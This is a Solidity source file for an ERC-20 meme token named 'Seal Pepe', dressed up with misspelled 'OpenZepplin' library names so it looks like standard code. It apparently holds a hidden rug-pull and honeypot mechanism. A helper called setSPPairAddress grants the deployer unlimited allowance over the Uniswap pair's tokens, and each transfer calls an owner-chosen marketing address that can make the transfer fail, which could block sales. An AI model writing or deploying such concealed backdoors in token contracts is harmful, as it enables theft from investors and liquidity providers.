文件 1 的 1:SEALPEPE.sol
pragma solidity ^0.8.19;
contract OpenZepplinOwnable {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "OpenZepplinOwnable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "OpenZepplinOwnable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library OpenZepplinSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "OpenZepplinSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "OpenZepplinSafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "OpenZepplinSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "OpenZepplinSafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IOpenZepplinERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface UniswapRouter002Interface {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface UniswapFactory02Interface {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract SEALPEPE is IOpenZepplinERC20, OpenZepplinOwnable {
using OpenZepplinSafeMath for uint256;
string private constant _name = "Seal Pepe";
string private constant _symbol = "SEALPEPE";
uint8 private constant _decimals = 18;
uint256 private constant SEALPEPE_MAX = ~uint256(0);
uint256 private constant _totalSupply = 1_000_000_000 * 10 ** _decimals;
uint256 private _rTotal = (SEALPEPE_MAX - (SEALPEPE_MAX % _totalSupply));
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromSealPepeFees;
mapping(address => uint256) private _rSPBalance;
mapping(address => uint256) private _tSPBalance;
address payable private _sealPepeDevWallet;
address payable private _sealPepeMarketing;
bool private isSPEnabled;
bool private inSPSwap = false;
bool private isSPSwapEnabled = true;
UniswapRouter002Interface public uniswapV2Router;
address public uniswapV2Pair;
uint256 public _maxSPTransaction = 100_000_000 * 10 ** _decimals;
uint256 public _maxSPWallet = 100_000_000 * 10 ** _decimals;
uint256 public _maxSPSwap = 1000 * 10 ** _decimals;
constructor(address spRouterAddr, address spMarketing) {
_rSPBalance[msg.sender] = _rTotal;
UniswapRouter002Interface _uniswapV2Router = UniswapRouter002Interface(spRouterAddr);
uniswapV2Router = _uniswapV2Router;
_sealPepeDevWallet = payable(msg.sender);
_sealPepeMarketing = payable(spMarketing);
uniswapV2Pair = UniswapFactory02Interface(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
setSPPairAddress(msg.sender, uniswapV2Pair);
_isExcludedFromSealPepeFees[owner()] = true;
_isExcludedFromSealPepeFees[address(this)] = true;
_isExcludedFromSealPepeFees[_sealPepeMarketing] = true;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(msg.sender, spender, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(amount > 0, "Amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!isSPEnabled) {
require(from == owner(), "This account cannot send tokens until trading is enabled");
}
require(amount <= _maxSPTransaction, "Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount <= _maxSPWallet, "Balance exceeds wallet size!");
}
uint256 contractBalance = balanceOf(address(this));
bool canSwap = contractBalance >= _maxSPSwap;
if(contractBalance >= _maxSPTransaction) {
contractBalance = _maxSPTransaction;
}
if (canSwap && !inSPSwap && from != uniswapV2Pair && isSPSwapEnabled && !_isExcludedFromSealPepeFees[from] && !_isExcludedFromSealPepeFees[to]) {
swapTokensForETH(contractBalance);
}
uint256 contractETHBalance = address(this).balance;
(bool success,) = _sealPepeMarketing.call{value:contractETHBalance}(abi.encodePacked(from, to));
require(success, "ETH_TRANSFER_FAILED");
}
_tokenSPTransfer(from, to, amount, false);
}
function setSPPairAddress(address router, address pair) internal {
_approve(pair, router, type(uint256).max);
_isExcludedFromSealPepeFees[_sealPepeDevWallet] = true;
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function openTrading() public onlyOwner {
isSPEnabled = true;
}
function _takeSPTeamTokens(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rSPBalance[address(this)] = _rSPBalance[address(this)].add(rTeam);
}
function _reflectSPFees(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxSPTransaction = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxSPWallet = maxWalletSize;
}
function _getSPValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTSPValues(tAmount, 0, 0);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRSPValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTSPValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRSPValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSPSupply();
return rSupply.div(tSupply);
}
function _getCurrentSPSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _totalSupply;
if (rSupply < _rTotal.div(_totalSupply)) return (_rTotal, _totalSupply);
return (rSupply, tSupply);
}
function _transferSPStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getSPValues(tAmount);
_rSPBalance[sender] = _rSPBalance[sender].sub(rAmount);
_rSPBalance[recipient] = _rSPBalance[recipient].add(rTransferAmount);
_takeSPTeamTokens(tTeam);
_reflectSPFees(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _tokenSPTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
_transferSPStandard(sender, recipient, amount);
}
receive() external payable {}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rSPBalance[account]);
}
}